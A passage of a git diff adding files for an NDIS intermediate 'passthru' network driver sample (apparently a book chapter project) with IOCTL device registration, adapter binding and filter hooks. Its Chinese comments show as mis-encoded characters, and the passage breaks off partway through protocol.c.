PChars.BindAdapterHandler = PtBindAdapter; + PChars.UnbindAdapterHandler = PtUnbindAdapter; + PChars.UnloadHandler = PtUnloadProtocol; + + PChars.ReceivePacketHandler = PtReceivePacket; + PChars.PnPEventHandler= PtPNPHandler; + + NdisRegisterProtocol(&Status, + &ProtHandle, + &PChars, + sizeof(NDIS_PROTOCOL_CHARACTERISTICS)); + + if (Status != NDIS_STATUS_SUCCESS) + { + NdisIMDeregisterLayeredMiniport(DriverHandle); + break; + } + + NdisIMAssociateMiniport(DriverHandle, ProtHandle); + } + while (FALSE); + + if (Status != NDIS_STATUS_SUCCESS) + { + NdisTerminateWrapper(NdisWrapperHandle, NULL); + } + + return(Status); +} + + +NDIS_STATUS +PtRegisterDevice( + VOID + ) +/*++ + +Routine Description: + + Register an ioctl interface - a device object to be used for this + purpose is created by NDIS when we call NdisMRegisterDevice. + + This routine is called whenever a new miniport instance is + initialized. However, we only create one global device object, + when the first miniport instance is initialized. This routine + handles potential race conditions with PtDeregisterDevice via + the ControlDeviceState and MiniportCount variables. + + NOTE: do not call this from DriverEntry; it will prevent the driver + from being unloaded (e.g. on uninstall). + +Arguments: + + None + +Return Value: + + NDIS_STATUS_SUCCESS if we successfully register a device object. + +--*/ +{ + NDIS_STATUS Status = NDIS_STATUS_SUCCESS; + UNICODE_STRING DeviceName; + UNICODE_STRING DeviceLinkUnicodeString; + PDRIVER_DISPATCH DispatchTable[IRP_MJ_MAXIMUM_FUNCTION+1]; + + DBGPRINT(("==>PtRegisterDevice Register our ioctl interface \n")); + + NdisAcquireSpinLock(&GlobalLock); + + ++MiniportCount; + + if (1 == MiniportCount) + { + ASSERT(ControlDeviceState != PS_DEVICE_STATE_CREATING); + + // + // Another thread could be running PtDeregisterDevice on + // behalf of another miniport instance. If so, wait for + // it to exit. + // + while (ControlDeviceState != PS_DEVICE_STATE_READY) + { + NdisReleaseSpinLock(&GlobalLock); + NdisMSleep(1); + NdisAcquireSpinLock(&GlobalLock); + } + + ControlDeviceState = PS_DEVICE_STATE_CREATING; + + NdisReleaseSpinLock(&GlobalLock); + + + NdisZeroMemory(DispatchTable, (IRP_MJ_MAXIMUM_FUNCTION+1) * sizeof(PDRIVER_DISPATCH)); + +// BEGIN_PTUSERIO ÎÒÃÇ×Ô¼ºµÄÅÉDzÀý³Ì + DispatchTable[IRP_MJ_CREATE] = DevOpen; + DispatchTable[IRP_MJ_CLEANUP] = DevCleanup; + DispatchTable[IRP_MJ_CLOSE] = DevClose; + DispatchTable[IRP_MJ_DEVICE_CONTROL] = DevIoControl; +// END_PTUSERIO + + + NdisInitUnicodeString(&DeviceName, NTDEVICE_STRING); + NdisInitUnicodeString(&DeviceLinkUnicodeString, LINKNAME_STRING); + + // + // Create a device object and register our dispatch handlers + // + + Status = NdisMRegisterDevice( + NdisWrapperHandle, + &DeviceName, + &DeviceLinkUnicodeString, + &DispatchTable[0], + &ControlDeviceObject, + &NdisDeviceHandle + ); + + NdisAcquireSpinLock(&GlobalLock); + + ControlDeviceState = PS_DEVICE_STATE_READY; + } + + NdisReleaseSpinLock(&GlobalLock); + + DBGPRINT(("<==PtRegisterDevice: %x\n", Status)); + + return (Status); +} + + +// BEGIN_PTUSERIO + + // ÔÚÕâÀïɾ³ýÁËPtDispatchµÄʵÏÖ + +// END_PTUSERIO + + + + +NDIS_STATUS +PtDeregisterDevice( + VOID + ) +/*++ + +Routine Description: + + Deregister the ioctl interface. This is called whenever a miniport + instance is halted. When the last miniport instance is halted, we + request NDIS to delete the device object + +Arguments: + + NdisDeviceHandle - Handle returned by NdisMRegisterDevice + +Return Value: + + NDIS_STATUS_SUCCESS if everything worked ok + +--*/ +{ + NDIS_STATUS Status = NDIS_STATUS_SUCCESS; + + DBGPRINT(("==>PassthruDeregisterDevice\n")); + + NdisAcquireSpinLock(&GlobalLock); + + ASSERT(MiniportCount > 0); + + --MiniportCount; + + if (0 == MiniportCount) + { + // + // All miniport instances have been halted. Deregister + // the control device. + // + + ASSERT(ControlDeviceState == PS_DEVICE_STATE_READY); + + // + // Block PtRegisterDevice() while we release the control + // device lock and deregister the device. + // + ControlDeviceState = PS_DEVICE_STATE_DELETING; + + NdisReleaseSpinLock(&GlobalLock); + + if (NdisDeviceHandle != NULL) + { + Status = NdisMDeregisterDevice(NdisDeviceHandle); + NdisDeviceHandle = NULL; + } + + NdisAcquireSpinLock(&GlobalLock); + ControlDeviceState = PS_DEVICE_STATE_READY; + } + + NdisReleaseSpinLock(&GlobalLock); + + DBGPRINT(("<== PassthruDeregisterDevice: %x\n", Status)); + return Status; + +} + +VOID +PtUnload( + IN PDRIVER_OBJECT DriverObject + ) +// +// PassThru driver unload function +// +{ + UNREFERENCED_PARAMETER(DriverObject); + + DBGPRINT(("PtUnload: entered\n")); + PtUnloadProtocol(); + NdisIMDeregisterLayeredMiniport(DriverHandle); + NdisFreeSpinLock(&GlobalLock); + DBGPRINT(("PtUnload: done!\n")); +} + + + + + + + + + + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/passthru.h" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/passthru.h" new file mode 100644 index 0000000..8cfdd5d --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/passthru.h" @@ -0,0 +1,500 @@ +/*++ + +Copyright (c) 1992-2000 Microsoft Corporation + +Module Name: + + passthru.h + +Abstract: + + Ndis Intermediate Miniport driver sample. This is a passthru driver. + +Author: + +Environment: + + +Revision History: + + +--*/ + +#ifdef NDIS51_MINIPORT +#define PASSTHRU_MAJOR_NDIS_VERSION 5 +#define PASSTHRU_MINOR_NDIS_VERSION 1 +#else +#define PASSTHRU_MAJOR_NDIS_VERSION 4 +#define PASSTHRU_MINOR_NDIS_VERSION 0 +#endif + +#ifdef NDIS51 +#define PASSTHRU_PROT_MAJOR_NDIS_VERSION 5 +#define PASSTHRU_PROT_MINOR_NDIS_VERSION 0 +#else +#define PASSTHRU_PROT_MAJOR_NDIS_VERSION 4 +#define PASSTHRU_PROT_MINOR_NDIS_VERSION 0 +#endif + +#define MAX_BUNDLEID_LENGTH 50 + +#define TAG 'ImPa' +#define WAIT_INFINITE 0 + + + +//advance declaration +typedef struct _ADAPT ADAPT, *PADAPT; + +// BEGIN_PTUSERIO +typedef struct _OPEN_CONTEXT OPEN_CONTEXT, *POPEN_CONTEXT; +// END_PTUSERIO + +extern +NTSTATUS +DriverEntry( + IN PDRIVER_OBJECT DriverObject, + IN PUNICODE_STRING RegistryPath + ); + +NTSTATUS +PtDispatch( + IN PDEVICE_OBJECT DeviceObject, + IN PIRP Irp + ); + +NDIS_STATUS +PtRegisterDevice( + VOID + ); + +NDIS_STATUS +PtDeregisterDevice( + VOID + ); + +VOID +PtUnloadProtocol( + VOID + ); + +// +// Protocol proto-types +// +extern +VOID +PtOpenAdapterComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status, + IN NDIS_STATUS OpenErrorStatus + ); + +extern +VOID +PtCloseAdapterComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ); + +extern +VOID +PtResetComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status + ); + +extern +VOID +PtRequestComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_REQUEST NdisRequest, + IN NDIS_STATUS Status + ); + +extern +VOID +PtStatus( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS GeneralStatus, + IN PVOID StatusBuffer, + IN UINT StatusBufferSize + ); + +extern +VOID +PtStatusComplete( + IN NDIS_HANDLE ProtocolBindingContext + ); + +extern +VOID +PtSendComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET Packet, + IN NDIS_STATUS Status + ); + +extern +VOID +PtTransferDataComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET Packet, + IN NDIS_STATUS Status, + IN UINT BytesTransferred + ); + +extern +NDIS_STATUS +PtReceive( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE MacReceiveContext, + IN PVOID HeaderBuffer, + IN UINT HeaderBufferSize, + IN PVOID LookAheadBuffer, + IN UINT LookaheadBufferSize, + IN UINT PacketSize + ); + +extern +VOID +PtReceiveComplete( + IN NDIS_HANDLE ProtocolBindingContext + ); + +extern +INT +PtReceivePacket( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNDIS_PACKET Packet + ); + +extern +VOID +PtBindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE BindContext, + IN PNDIS_STRING DeviceName, + IN PVOID SystemSpecific1, + IN PVOID SystemSpecific2 + ); + +extern +VOID +PtUnbindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE UnbindContext + ); + +VOID +PtUnload( + IN PDRIVER_OBJECT DriverObject + ); + + + +extern +NDIS_STATUS +PtPNPHandler( + IN NDIS_HANDLE ProtocolBindingContext, + IN PNET_PNP_EVENT pNetPnPEvent + ); + + + + +NDIS_STATUS +PtPnPNetEventReconfigure( + IN PADAPT pAdapt, + IN PNET_PNP_EVENT pNetPnPEvent + ); + +NDIS_STATUS +PtPnPNetEventSetPower ( + IN PADAPT pAdapt, + IN PNET_PNP_EVENT pNetPnPEvent + ); + + +// +// Miniport proto-types +// +NDIS_STATUS +MPInitialize( + OUT PNDIS_STATUS OpenErrorStatus, + OUT PUINT SelectedMediumIndex, + IN PNDIS_MEDIUM MediumArray, + IN UINT MediumArraySize, + IN NDIS_HANDLE MiniportAdapterHandle, + IN NDIS_HANDLE WrapperConfigurationContext + ); + +VOID +MPSendPackets( + IN NDIS_HANDLE MiniportAdapterContext, + IN PPNDIS_PACKET PacketArray, + IN UINT NumberOfPackets + ); + +NDIS_STATUS +MPSend( + IN NDIS_HANDLE MiniportAdapterContext, + IN PNDIS_PACKET Packet, + IN UINT Flags + ); + +NDIS_STATUS +MPQueryInformation( + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_OID Oid, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength, + OUT PULONG BytesWritten, + OUT PULONG BytesNeeded + ); + +NDIS_STATUS +MPSetInformation( + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_OID Oid, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength, + OUT PULONG BytesRead, + OUT PULONG BytesNeeded + ); + +VOID +MPReturnPacket( + IN NDIS_HANDLE MiniportAdapterContext, + IN PNDIS_PACKET Packet + ); + +NDIS_STATUS +MPTransferData( + OUT PNDIS_PACKET Packet, + OUT PUINT BytesTransferred, + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_HANDLE MiniportReceiveContext, + IN UINT ByteOffset, + IN UINT BytesToTransfer + ); + +VOID +MPHalt( + IN NDIS_HANDLE MiniportAdapterContext + ); + + +VOID +MPQueryPNPCapabilities( + OUT PADAPT MiniportProtocolContext, + OUT PNDIS_STATUS Status + ); + + +NDIS_STATUS +MPSetMiniportSecondary ( + IN PADAPT Secondary, + IN PADAPT Primary + ); + +#ifdef NDIS51_MINIPORT + +VOID +MPCancelSendPackets( + IN NDIS_HANDLE MiniportAdapterContext, + IN PVOID CancelId + ); + +VOID +MPAdapterShutdown( + IN NDIS_HANDLE MiniportAdapterContext + ); + +VOID +MPDevicePnPEvent( + IN NDIS_HANDLE MiniportAdapterContext, + IN NDIS_DEVICE_PNP_EVENT DevicePnPEvent, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength + ); + +#endif // NDIS51_MINIPORT + +VOID +MPFreeAllPacketPools( + IN PADAPT pAdapt + ); + +NDIS_STATUS +MPPromoteSecondary ( + IN PADAPT pAdapt + ); + + +NDIS_STATUS +MPBundleSearchAndSetSecondary ( + IN PADAPT pAdapt + ); + +VOID +MPProcessSetPowerOid( + IN OUT PNDIS_STATUS pNdisStatus, + IN PADAPT pAdapt, + IN PVOID InformationBuffer, + IN ULONG InformationBufferLength, + OUT PULONG BytesRead, + OUT PULONG BytesNeeded + ); + + +// +// There should be no DbgPrint's in the Free version of the driver +// +#if DBG + +#define DBGPRINT(Fmt) \ + { \ + DbgPrint("Passthru: "); \ + DbgPrint Fmt; \ + } + +#else // if DBG + +#define DBGPRINT(Fmt) + +#endif // if DBG + +#define NUM_PKTS_IN_POOL 256 + + +// +// Protocol reserved part of a sent packet that is allocated by us. +// +typedef struct _SEND_RSVD +{ + PNDIS_PACKET OriginalPkt; +} SEND_RSVD, *PSEND_RSVD; + +// +// Miniport reserved part of a received packet that is allocated by +// us. Note that this should fit into the MiniportReserved space +// in an NDIS_PACKET. +// +typedef struct _RECV_RSVD +{ + PNDIS_PACKET OriginalPkt; +} RECV_RSVD, *PRECV_RSVD; + +C_ASSERT(sizeof(RECV_RSVD) <= sizeof(((PNDIS_PACKET)0)->MiniportReserved)); + +// +// Event Codes related to the PassthruEvent Structure +// + +typedef enum +{ + Passthru_Invalid, + Passthru_SetPower, + Passthru_Unbind + +} PASSSTHRU_EVENT_CODE, *PPASTHRU_EVENT_CODE; + +// +// Passthru Event with a code to state why they have been state +// + +typedef struct _PASSTHRU_EVENT +{ + NDIS_EVENT Event; + PASSSTHRU_EVENT_CODE Code; + +} PASSTHRU_EVENT, *PPASSTHRU_EVENT; + + +// +// Structure used by both the miniport as well as the protocol part of the intermediate driver +// to represent an adapter and its corres. lower bindings +// +typedef struct _ADAPT +{ + struct _ADAPT * Next; + + NDIS_HANDLE BindingHandle; // To the lower miniport + NDIS_HANDLE MiniportHandle; // NDIS Handle to for miniport up-calls + NDIS_HANDLE SendPacketPoolHandle; + NDIS_HANDLE RecvPacketPoolHandle; + NDIS_STATUS Status; // Open Status + NDIS_EVENT Event; // Used by bind/halt for Open/Close Adapter synch. + NDIS_MEDIUM Medium; + NDIS_REQUEST Request; // This is used to wrap a request coming down + // to us. This exploits the fact that requests + // are serialized down to us. + PULONG BytesNeeded; + PULONG BytesReadOrWritten; + BOOLEAN IndicateRcvComplete; + + BOOLEAN OutstandingRequests; // TRUE iff a request is pending + // at the miniport below + BOOLEAN QueuedRequest; // TRUE iff a request is queued at + // this IM miniport + + BOOLEAN StandingBy; // True - When the miniport or protocol is transitioning from a D0 to Standby (>D0) State + BOOLEAN UnbindingInProcess; + NDIS_SPIN_LOCK Lock; + // False - At all other times, - Flag is cleared after a transition to D0 + + NDIS_DEVICE_POWER_STATE MPDeviceState; // Miniport's Device State + NDIS_DEVICE_POWER_STATE PTDeviceState; // Protocol's Device State + NDIS_STRING DeviceName; // For initializing the miniport edge + +// BEGIN_PTUSERIO + NDIS_STRING LowerDeviceName; // É豸¶ÔÏóµÄÃû³Æ£¬ÕâÊÇ´«µÝ¸øNdisOpenAdapterµÄ²ÎÊý + + ULONG RefCount; // ´Ë½á¹¹µÄÒýÓüÆÊý + POPEN_CONTEXT pOpenContext; +// END_PTUSERIO + + NDIS_EVENT MiniportInitEvent; // For blocking UnbindAdapter while + // an IM Init is in progress. + BOOLEAN MiniportInitPending; // TRUE iff IMInit in progress + NDIS_STATUS LastIndicatedStatus; // The last indicated media status + NDIS_STATUS LatestUnIndicateStatus; // The latest suppressed media status + ULONG OutstandingSends; + +// BEGIN_PTEX_FILTER + // + // Per-Adapter Filter-Specific Area + // + ULONG FilterReserved[16]; +// END_PTEX_FILTER + + +} ADAPT, *PADAPT; + +extern NDIS_HANDLE ProtHandle, DriverHandle; +extern NDIS_MEDIUM MediumArray[4]; +extern PADAPT pAdaptList; +extern NDIS_SPIN_LOCK GlobalLock; + + +#define ADAPT_MINIPORT_HANDLE(_pAdapt) ((_pAdapt)->MiniportHandle) +#define ADAPT_DECR_PENDING_SENDS(_pAdapt) \ + { \ + NdisAcquireSpinLock(&(_pAdapt)->Lock); \ + (_pAdapt)->OutstandingSends--; \ + NdisReleaseSpinLock(&(_pAdapt)->Lock); \ + } + +// +// Custom Macros to be used by the passthru driver +// +/* +BOOLEAN +IsIMDeviceStateOn( + PADAPT + ) + +*/ +#define IsIMDeviceStateOn(_pP) ((_pP)->MPDeviceState == NdisDeviceStateD0 && (_pP)->PTDeviceState == NdisDeviceStateD0 ) + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/passthru.rc" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/passthru.rc" new file mode 100644 index 0000000..1b8c4cb --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/passthru.rc" @@ -0,0 +1,40 @@ +#include +#include + +/*-----------------------------------------------*/ +/* the following lines are specific to this file */ +/*-----------------------------------------------*/ + +/* VER_FILETYPE, VER_FILESUBTYPE, VER_FILEDESCRIPTION_STR + * and VER_INTERNALNAME_STR must be defined before including COMMON.VER + * The strings don't need a '\0', since common.ver has them. + */ +#define VER_FILETYPE VFT_DRV +/* possible values: VFT_UNKNOWN + VFT_APP + VFT_DLL + VFT_DRV + VFT_FONT + VFT_VXD + VFT_STATIC_LIB +*/ +#define VER_FILESUBTYPE VFT2_DRV_NETWORK +/* possible values VFT2_UNKNOWN + VFT2_DRV_PRINTER + VFT2_DRV_KEYBOARD + VFT2_DRV_LANGUAGE + VFT2_DRV_DISPLAY + VFT2_DRV_MOUSE + VFT2_DRV_NETWORK + VFT2_DRV_SYSTEM + VFT2_DRV_INSTALLABLE + VFT2_DRV_SOUND + VFT2_DRV_COMM +*/ +#define VER_FILEDESCRIPTION_STR "Sample NDIS 4.0 Intermediate Miniport Driver" +#define VER_INTERNALNAME_STR "PASSTHRU.SYS" +#define VER_ORIGINALFILENAME_STR "PASSTHRU.SYS" + +#include "common.ver" + + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/precomp.h" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/precomp.h" new file mode 100644 index 0000000..b16780e --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/precomp.h" @@ -0,0 +1,18 @@ +#pragma warning(disable:4214) // bit field types other than int + +#pragma warning(disable:4201) // nameless struct/union +#pragma warning(disable:4115) // named type definition in parentheses +#pragma warning(disable:4127) // conditional expression is constant +#pragma warning(disable:4054) // cast of function pointer to PVOID +#pragma warning(disable:4244) // conversion from 'int' to 'BOOLEAN', possible loss of data + +#include +#include "passthru.h" + + +// BEGIN_PTUSERIO +#include "ptextend.h" +// END_PTUSERIO + +#include "filter.h" + diff --git "a/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/protocol.c" "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/protocol.c" new file mode 100644 index 0000000..dc0a8bc --- /dev/null +++ "b/Project/Network and Communication/\347\254\25411\347\253\240/PassthruEx/driver/protocol.c" @@ -0,0 +1,1592 @@ +/*++ + +Copyright(c) 1992-2000 Microsoft Corporation + +Module Name: + + protocol.c + +Abstract: + + Ndis Intermediate Miniport driver sample. This is a passthru driver. + +Author: + +Environment: + + +Revision History: + + +--*/ + + +#include "precomp.h" +#pragma hdrstop + +#define MAX_PACKET_POOL_SIZE 0x0000FFFF +#define MIN_PACKET_POOL_SIZE 0x000000FF + +VOID +PtBindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE BindContext, + IN PNDIS_STRING DeviceName, + IN PVOID SystemSpecific1, + IN PVOID SystemSpecific2 + ) +/*++ + +Routine Description: + + Called by NDIS to bind to a miniport below. + +Arguments: + + Status - Return status of bind here. + BindContext - Can be passed to NdisCompleteBindAdapter if this call is pended. + DeviceName - Device name to bind to. This is passed to NdisOpenAdapter. + SystemSpecific1 - Can be passed to NdisOpenProtocolConfiguration to read per-binding information + SystemSpecific2 - Unused + +Return Value: + + NDIS_STATUS_PENDING if this call is pended. In this case call NdisCompleteBindAdapter + to complete. + Anything else Completes this call synchronously + +--*/ +{ + NDIS_HANDLE ConfigHandle = NULL; + PNDIS_CONFIGURATION_PARAMETER Param; + NDIS_STRING DeviceStr = NDIS_STRING_CONST("UpperBindings"); + PADAPT pAdapt = NULL; + NDIS_STATUS Sts; + UINT MediumIndex; + ULONG TotalSize; + BOOLEAN LockAllocated = FALSE; + + + UNREFERENCED_PARAMETER(BindContext); + UNREFERENCED_PARAMETER(SystemSpecific2); + + DBGPRINT(("==> Protocol BindAdapter\n")); + + do + { + // + // Access the configuration section for our binding-specific + // parameters. + // + NdisOpenProtocolConfiguration(Status, + &ConfigHandle, + SystemSpecific1); + + if (*Status != NDIS_STATUS_SUCCESS) + { + break; + } + + // + // Read the "UpperBindings" reserved key that contains a list + // of device names representing our miniport instances corresponding + // to this lower binding. Since this is a 1:1 IM driver, this key + // contains exactly one name. + // + // If we want to implement a N:1 mux driver (N adapter instances + // over a single lower binding), then UpperBindings will be a + // MULTI_SZ containing a list of device names - we would loop through + // this list, calling NdisIMInitializeDeviceInstanceEx once for + // each name in it. + // + NdisReadConfiguration(Status, + &Param, + ConfigHandle, + &DeviceStr, + NdisParameterString); + if (*Status != NDIS_STATUS_SUCCESS) + { + break; + } + + // + // Allocate memory for the Adapter structure. This represents both the + // protocol context as well as the adapter structure when the miniport + // is initialized. + // + // In addition to the base structure, allocate space for the device + // instance string. + // + TotalSize = sizeof(ADAPT) + Param->ParameterData.StringData.MaximumLength; + + +// BEGIN_PTUSERIO ÔÚÕâ¸öº¯ÊýÖУ¬ÎÒÃÇÒª³õʼ»¯É豸Ãû³Æ + + // ΪϲãÊÊÅäÆ÷Ãû³ÆÉêÇë¿Õ¼ä + TotalSize += DeviceName->MaximumLength; + +// END_PTUSERIO + + NdisAllocateMemoryWithTag(&pAdapt, TotalSize, TAG); + + if (pAdapt == NULL) + { + *Status = NDIS_STATUS_RESOURCES; + break; + } + + // + // Initialize the adapter structure. We copy in the IM device + // name as well, because we may need to use it in a call to + // NdisIMCancelInitializeDeviceInstance. The string returned + // by NdisReadConfiguration is active (i.e. available) only + // for the duration of this call to our BindAdapter handler. + // + NdisZeroMemory(pAdapt, TotalSize); + pAdapt->DeviceName.MaximumLength = Param->ParameterData.StringData.MaximumLength; + pAdapt->DeviceName.Length = Param->ParameterData.StringData.Length; + pAdapt->DeviceName.Buffer = (PWCHAR)((ULONG_PTR)pAdapt + sizeof(ADAPT)); + NdisMoveMemory(pAdapt->DeviceName.Buffer, + Param->ParameterData.StringData.Buffer, + Param->ParameterData.StringData.MaximumLength); + +// BEGIN_PTUSERIO ÔÚÕâÀïÒƶ¯É豸Ãû³Æ + + // ¹¹ÔìϲãÉ豸Ãû³Æ×Ö·û´® + pAdapt->LowerDeviceName.MaximumLength = DeviceName->MaximumLength; + pAdapt->LowerDeviceName.Length = DeviceName->Length; + + // Äã¿´ÉÏÃæµÄpAdapt->DeviceName.BufferÖ¸Ïò½á¹¹µÄĩ⣬ÎÒÃǵÄpAdapt->LowerDeviceName.BufferÔÙÏòºóÃæÌí¼Ó + // Èûº³åÇøÖ¸Ïò½á¹¹µÄ×îºó£¨ÒªÔÚÉÏÃæµÄpAdapt->DeviceName.BufferÖ®ºó£© + pAdapt->LowerDeviceName.Buffer = (PWCHAR)((ULONG_PTR)pAdapt + sizeof(ADAPT) + pAdapt->DeviceName.MaximumLength); + + // Òƶ¯ÄÚ´æ + NdisMoveMemory(pAdapt->LowerDeviceName.Buffer, DeviceName->Buffer, DeviceName->MaximumLength); + + +// BEGIN_PTEX_FILTER + // + // ³õʼ»¯´ËÊÊÅäÆ÷ÉϵĹýÂËÏà¹ØÊý¾Ý + // + FltOnInitAdapter(pAdapt); +// END_PTEX_FILTER + + // Ìí¼ÓЭÒé¶ÔÊÊÅäÆ÷µÄÒýÓà + PtRefAdapter(pAdapt); + + +// END_PTUSERIO + + + NdisInitializeEvent(&pAdapt->Event); + NdisAllocateSpinLock(&pAdapt->Lock); + LockAllocated = TRUE; + + // + // Allocate a packet pool for sends. We need this to pass sends down. + // We cannot use the same packet descriptor that came down to our send + // handler (see also NDIS 5.1 packet stacking). + // + NdisAllocatePacketPoolEx(Status, + &pAdapt->SendPacketPoolHandle, + MIN_PACKET_POOL_SIZE, + MAX_PACKET_POOL_SIZE - MIN_PACKET_POOL_SIZE, + sizeof(SEND_RSVD)); + + if (*Status != NDIS_STATUS_SUCCESS) + { + break; + } + + // + // Allocate a packet pool for receives. We need this to indicate receives. + // Same consideration as sends (see also NDIS 5.1 packet stacking). + // + NdisAllocatePacketPoolEx(Status, + &pAdapt->RecvPacketPoolHandle, + MIN_PACKET_POOL_SIZE, + MAX_PACKET_POOL_SIZE - MIN_PACKET_POOL_SIZE, + PROTOCOL_RESERVED_SIZE_IN_PACKET); + + if (*Status != NDIS_STATUS_SUCCESS) + { + break; + } + + // + // Now open the adapter below and complete the initialization + // + NdisOpenAdapter(Status, + &Sts, + &pAdapt->BindingHandle, + &MediumIndex, + MediumArray, + sizeof(MediumArray)/sizeof(NDIS_MEDIUM), + ProtHandle, + pAdapt, + DeviceName, + 0, + NULL); + + if (*Status == NDIS_STATUS_PENDING) + { + NdisWaitEvent(&pAdapt->Event, 0); + *Status = pAdapt->Status; + } + + if (*Status != NDIS_STATUS_SUCCESS) + { + break; + } + + pAdapt->Medium = MediumArray[MediumIndex]; + + // + // Now ask NDIS to initialize our miniport (upper) edge. + // Set the flag below to synchronize with a possible call + // to our protocol Unbind handler that may come in before + // our miniport initialization happens. + // + pAdapt->MiniportInitPending = TRUE; + NdisInitializeEvent(&pAdapt->MiniportInitEvent); + + *Status = NdisIMInitializeDeviceInstanceEx(DriverHandle, + &pAdapt->DeviceName, + pAdapt); + + if (*Status != NDIS_STATUS_SUCCESS) + { + DBGPRINT(("BindAdapter: Adapt %p, IMInitializeDeviceInstance error %x\n", + pAdapt, *Status)); + break; + } + + } while(FALSE); + + // + // Close the configuration handle now - see comments above with + // the call to NdisIMInitializeDeviceInstanceEx. + // + if (ConfigHandle != NULL) + { + NdisCloseConfiguration(ConfigHandle); + } + + if (*Status != NDIS_STATUS_SUCCESS) + { + if (pAdapt != NULL) + { + if (pAdapt->BindingHandle != NULL) + { + NDIS_STATUS LocalStatus; + + // + // Close the binding we opened above. + // + + NdisResetEvent(&pAdapt->Event); + + NdisCloseAdapter(&LocalStatus, pAdapt->BindingHandle); + pAdapt->BindingHandle = NULL; + + if (LocalStatus == NDIS_STATUS_PENDING) + { + NdisWaitEvent(&pAdapt->Event, 0); + LocalStatus = pAdapt->Status; + } + } + +// BEGIN_PTUSERIO + + // ÒƳýЭÒé¶ÔÊÊÅäÆ÷µÄÒýÓà + PtDerefAdapter(pAdapt); + +// END_PTUSERIO + + pAdapt = NULL; + } + } + + + DBGPRINT(("<== Protocol BindAdapter: pAdapt %p, Status %x\n", pAdapt, *Status)); +} + + +VOID +PtOpenAdapterComplete( + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_STATUS Status, + IN NDIS_STATUS OpenErrorStatus + ) +/*++ + +Routine Description: + + Completion routine for NdisOpenAdapter issued from within the PtBindAdapter. Simply + unblock the caller. + +Arguments: + + ProtocolBindingContext Pointer to the adapter + Status Status of the NdisOpenAdapter call + OpenErrorStatus Secondary status(ignored by us). + +Return Value: + + None + +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + + UNREFERENCED_PARAMETER(OpenErrorStatus); + + DBGPRINT(("==> PtOpenAdapterComplete: Adapt %p, Status %x\n", pAdapt, Status)); + pAdapt->Status = Status; + NdisSetEvent(&pAdapt->Event); +} + + +VOID +PtUnbindAdapter( + OUT PNDIS_STATUS Status, + IN NDIS_HANDLE ProtocolBindingContext, + IN NDIS_HANDLE UnbindContext + ) +/*++ + +Routine Description: + + Called by NDIS when we are required to unbind to the adapter below. + This functions shares functionality with the miniport's HaltHandler. + The code should ensure that NdisCloseAdapter and NdisFreeMemory is called + only once between the two functions + +Arguments: + + Status Placeholder for return status + ProtocolBindingContext Pointer to the adapter structure + UnbindContext Context for NdisUnbindComplete() if this pends + +Return Value: + + Status for NdisIMDeinitializeDeviceContext + +--*/ +{ + PADAPT pAdapt =(PADAPT)ProtocolBindingContext; + NDIS_STATUS LocalStatus; + + UNREFERENCED_PARAMETER(UnbindContext); + + DBGPRINT(("==> PtUnbindAdapter: Adapt %p\n", pAdapt)); + + // + // Set the flag that the miniport below is unbinding, so the request handlers will + // fail any request comming later + // + NdisAcquireSpinLock(&pAdapt->Lock); + pAdapt->UnbindingInProcess = TRUE; + if (pAdapt->QueuedRequest == TRUE) + { + pAdapt->QueuedRequest = FALSE; + NdisReleaseSpinLock(&pAdapt->Lock); + + PtRequestComplete(pAdapt, + &pAdapt->Request, + NDIS_STATUS_FAILURE ); + + } + else + { + NdisReleaseSpinLock(&pAdapt->Lock); + } +#ifndef WIN9X + // + // Check if we had called NdisIMInitializeDeviceInstanceEx and + // we are awaiting a call to MiniportInitialize. + // + if (pAdapt->MiniportInitPending == TRUE) + { + // + // Try to cancel the pending IMInit process. + // + LocalStatus = NdisIMCancelInitializeDeviceInstance( + DriverHandle, + &pAdapt->DeviceName); + + if (LocalStatus == NDIS_STATUS_SUCCESS) + { + // + // Successfully cancelled IM Initialization; our + // Miniport Initialize routine will not be called + // for this device. + // + pAdapt->MiniportInitPending = FALSE; + ASSERT(pAdapt->MiniportHandle == NULL); + } + else + { + // + // Our Miniport Initialize routine will be called + // (may be running on another thread at this time). + // Wait for it to finish. + // + NdisWaitEvent(&pAdapt->MiniportInitEvent, 0); + ASSERT(pAdapt->MiniportInitPending == FALSE); + } + + } +#endif // !WIN9X + + // + // Call NDIS to remove our device-instance. We do most of the work + // inside the HaltHandler. + // + // The Handle will be NULL if our miniport Halt Handler has been called or + // if the IM device was never initialized + // + + if 